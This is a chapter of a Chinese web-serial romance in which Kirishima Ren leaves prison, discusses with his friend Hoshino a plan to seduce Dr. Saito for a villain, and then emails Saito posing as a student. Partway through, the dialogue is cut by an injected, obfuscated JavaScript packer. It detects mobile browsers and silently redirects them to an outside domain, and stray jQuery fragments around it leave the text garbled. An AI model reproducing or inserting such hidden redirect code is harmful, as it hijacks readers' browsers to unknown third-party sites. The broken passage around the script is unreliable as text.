这两天雾岛莲都过得恍恍惚惚的,他时不时就想起来斋藤跟他说的话。
雾岛莲身上的纱布拆的差不多了,头发根长出来了黑色的发丝,他耷拉着个脸窝在床上画花札牌,像是棵晒蔫了的小草。
这天下午,星野空来探监。
星野空见雾岛莲的颓废样便猜到出事了,问他最近发生的了什么。
在此之前,雾岛莲没把暗害黄毛的事告诉任何人,星野空听他讲得心窝子怦怦乱跳,听见雾岛莲讲斋藤得知真相后去质问他时,星野空几乎要尖叫。
雾岛莲压低声音安抚了好一阵才让小男娘安静下来。
“别激动,他没举报我。”
雾岛莲怕再晚说几秒星野空得把狱警引来,自己还得再判刑。
星野空急的鼻尖冒汗:“那、他没举报你,你有什么可担忧的?”
雾岛莲的脸色更绿了,“坏就坏在他不举报我啊……当初斋藤可是冒着被暗杀的风险也要举报广濑制药。你说他这么一个刚正不阿的人,怎么就对我放水呢?”
星野空沉吟片刻:“你别说这些,你就没想过…万一他真举报你呢,莲,你冒的风险太大了。”
“大不了就继续蹲号子呗。”雾岛莲的眼睛骨碌碌一转,“那我也算是有一部分正当防卫,不会真重判吧。”
“合着你、真打算跟黄毛同归于尽呐。”星野空大惊失色。
“你知道我这人就是这种性格……”
小男娘差点用新做的樱桃色美甲在雾岛莲的脑门戳俩月牙印,“老公,你让我怎么说你——”
“好吧,事已至此,我承认我说那些话有刺激斋藤的成分,因为我想看他对我的容忍限度到底有多低,但没想到这么低,让我摸不透他的原则了。”
星野空翻了个白眼。
“如果他不知道我的来意还对我这么包容,我真的会以为他看上我了。”雾岛莲挠头。
星野空看着雾岛莲那张皱在一起的漂亮小脸,说:“他要是看上你还不好么?你之前说他是平等地博爱,现在他就对你放海,你还不乐意?”
“不是,我怎么跟你解释呢。”雾岛莲皱眉,因为吃消炎药的关系,他的眉骨顶和锁骨钉都快愈合了,一揉眉尾差点挫到伤口,疼得他嘶嘶喘气。
“行了行了,我看啊,你还是过得太好了,你还记得广濑给你的kpi么?”
“当然记得。”
“那你管斋藤喜不喜欢你呢,你钓他就完事儿了,他要是喜欢你没准就亲自把机密文件给你了,你就赶紧完成任务,赶紧跑路。”
雾岛莲起初也是这么计划的,但他一想到斋藤就胸口痒痒的,不知道怎么回事儿。
“哎,可能我道德水平太高了,一想到他救过我的命,还对我挺好的,我这么阴他,是不是太缺德了。”
星野空拍拍雾岛的肩膀:“钓他只是缺德,不钓就是找死,你还是掂量掂量吧。”
雾岛莲咂咂嘴:“嘶……我怎么感觉你像是站在广濑那边的呢。”
星野空瞥他一眼,圆润的小脸一瘪:“别把我跟那个老登相提并论。呵……原本还给你带了冬天的衣服,结果你这么讲我。”
雾岛莲临近出狱,星野空提前将毛衣、呢子大衣和裤子都寄送到了监狱的储物室,过了安检就可以送到雾岛莲手里。
雾岛莲讨饶:“我错了宝贝儿,你永远是我最好的闺蜜。”
星野空上下扫了一眼雾岛,他老早就注意到了雾岛囚服里的白色毛衣,没好气道:“这毛衣不会也是斋藤送的吧,你衣品可没这么纯良。”
雾岛莲笑嘻嘻:“嗯……”
“哎,有老公真好,等周末你出狱了,直接住斋藤家里算了,我觉得他不会拒绝你。”
“说什么呢,他老公还在家呢。”
“哦对,我忘了,你还是小三。”
三天后,雾岛的刑期结束,由铃木带他到心理咨询室进行最后的社会教育。
自那天之后,雾岛已经有一个星期没见到斋藤了,他把新长出来的黑色碎发给收拾整齐,专门用m豆给嘴唇上了个淡淡的口红,皮肤养得白皙柔润,精致得像是刚制成的白瓷娃娃。
待他推着轮椅走进心理咨询室,来人却是一个戴着老花镜的白发老头。
雾岛莲大失所望,他悻悻地瞥了老心理医生一眼,随即百无聊赖地翻着那本《旧t城防止再犯罪手册》。
耳畔传来老人宛若念经似的训诫,“要行善积德,不再犯罪,建立与社会的联系,参与社会劳动是无比的光荣……”
一个小时后,课程结束。
铃木狱警来接雾岛莲到储物室去取他的随身物品。
雾岛莲坐在轮椅上,在监狱的走廊里环顾四周,探着头朝医务室的房间望了许久,终于试探性地向铃木问了句:“斋藤医生今天不来么?”
铃木睨他一眼,说:“斋藤医生今天在旧t大有讲座。”
“噢……”少年将眼眸垂落。
他看着自己赤裸的脚尖,低着头靠在储物室的门框边。
铃木见其他要出狱的犯人都收拾的差不多了,便叫雾岛来认领自己的储物柜。
雾岛没注意,轮椅从玄关的台阶上滑了下去,他重心不稳失去平衡,轮椅差点侧翻,整个人朝沥青地面栽了下去。
好在铃木扶住了轮椅把手将他拽回来,雾岛下意识伸出赤脚抵挡冲击,瞬间从脚底传来冰冷和粗粝的刺痛。
“小心点,你今天怎么心不在焉的。”
“谢谢。”雾岛低着头,沉默着从储物柜里拿出他的靴子穿上,机械地从狱警那里接过他的东西。
他的私人物品不多,几瓶香水,两三件星野空送来的厚衣服,几支信息素抑制剂。
铃木见他行动不便帮他一起收拾,突然从衣服的夹层里掉出来了一个钱包。
铃木一摸,竟然是上好的麂皮料子,布面上还印着一些暗纹,看起来像是什么高奢品牌的logo。
雾岛莲有些慌乱地从他手里拿过钱包,眼神闪躲:“谢谢铃木警官。”
铃木有些狐疑,调侃地问:“不是从斋藤医生那里偷走的赃物吧。”
雾岛莲嘴角挤出一个扭曲的笑:“不是,这是……”
少年低头打开钱包,从网格夹层里掉出一枚铂金戒指。那戒指上也印有和钱包同样的logo,是一朵镂空的桔梗花。戒指中间镶嵌着一颗小钻石。
铃木有些讶异。
雾岛莲解释:“这是我母亲给我留的遗物。”
铃木有些愧疚:“不好意思。”
“没什么。”
铃木问道:“那你家里还有什么人……有家里人来接你吗?”
雾岛莲沉默了一会儿,淡淡道:“朋友来。”
“有朋友就行,是那个经常来探监的女孩吧。”
雾岛莲没纠正他,点点头:“嗯。”
“也挺好,你……以后注意别再犯事了。”
“好。”
“其实……”铃木终归还是有些不忍,皱眉道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277412|180633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“嗯?”
“斋藤医生原本是写了祝福信给你的,但是他后来又拿走了。”
“什么意思?”
铃木欲言又止:“他是个心理医生,可能他希望所有的病患都能顺利康复,但是他又怕自己的举动越界吧。”
雾岛莲睁着两只眸子看着铃木,“他还说什么了?”
“没有,就是希望你出狱后能自给自足地生活。他是真的希望你幸福快乐的。”
“噢……”
雾岛莲刚刚满脑子想的都是,如果斋藤不来,自己往后要找什么理由自然而然地钓他。
现在铃木一说,那斋藤这样岂不是在避嫌?
他要是真的对自己没有感觉,为什么不大大方方地出来送别,避而不见不是更坐实了斋藤对自己有意思么。
雾岛莲会心一笑。
雾岛的盆骨骨折较为轻微,再修养一个月就能走路了,但在此之还是要依靠轮椅出行。
在出狱前监狱给犯人们培养了理发技术,他原本想去理发店应聘,但现在别说给人理发了,站都站不起来,即便是监狱安排了推荐信还是免不了被拒的命运。
星野空推着雾岛莲的小轮椅,俩人在11月的海风里冻得后槽牙打颤,在东银座到浅草线的十几家理发店门口徘徊了好几天,直到最后也没有找到合适的工作。
他现在的行踪不稳定,暂时还没有被广濑的人捉住。雾岛决定先不工作了,在星野空给他安排的小出租屋里修养到痊愈再说。
时间一眨眼到了十一月中,雾岛莲的身体也完全康复了。
他在歌舞伎町的一个小胡同里找了个理发的工作,平时接一些机械义肢设计的网络订单。
这些天,斋藤晃司跟人间蒸发了一样,雾岛莲有些急了。
他给斋藤写了两三封信全都石沉大海。
这斋藤晃司前阵子对自己的放海行为,离别祝福。现在人间蒸发,看起来毫无留恋的样子。
要不是雾岛莲无意间在旧t大网站看到了斋藤发表的学术论文,他都以为这个世界上没有斋藤这个人。
这样下去不行,他必须得恢复两个人之间的交集。
雾岛在旧t大官网找到了斋藤晃司的教授信箱。
雾岛莲匿名给斋藤写了两封电子邮件。
第一封询问近况,生活过得怎么样的祝福信,匿名发送的。
没回。
第二封:斋藤教授你好,我是大二abo信息素药剂学专业的学生,您的选修课《东11区联盟abo二次分化与家庭关系的田野调查》人数满了,我特别想听您的课,怎么才能选修您的课呢。
斋藤晃司:下周二开始第二轮抢课,如果抢不到的话可以坐到阶梯教室的走廊,到时候会给同学们提供椅子。
妈的,终于诈尸了。
雾岛莲:老师,我是你的粉丝,我只想抢你的选修课,隔壁权伊玄老师的课我抢到了,但是我为了你退掉了,你看能不能答应我,破格收我呀。
斋藤晃司:这是学校系统规定的,不是我规定的。
还挺古板。
雾岛莲:老师,那太遗憾了,我上次旁听您的课觉得特别精彩,如果这次不能上您的选修我会抱憾终生。要是这样的话,您能不能借我看看笔记呀,我想摘抄。
斋藤晃司:可以,下周一我把讲义带到学校,你来找我拿。
雾岛莲:好~
oh yes!斋藤晃司,你的小三来了!
雾岛莲看着通讯器邪恶地笑了。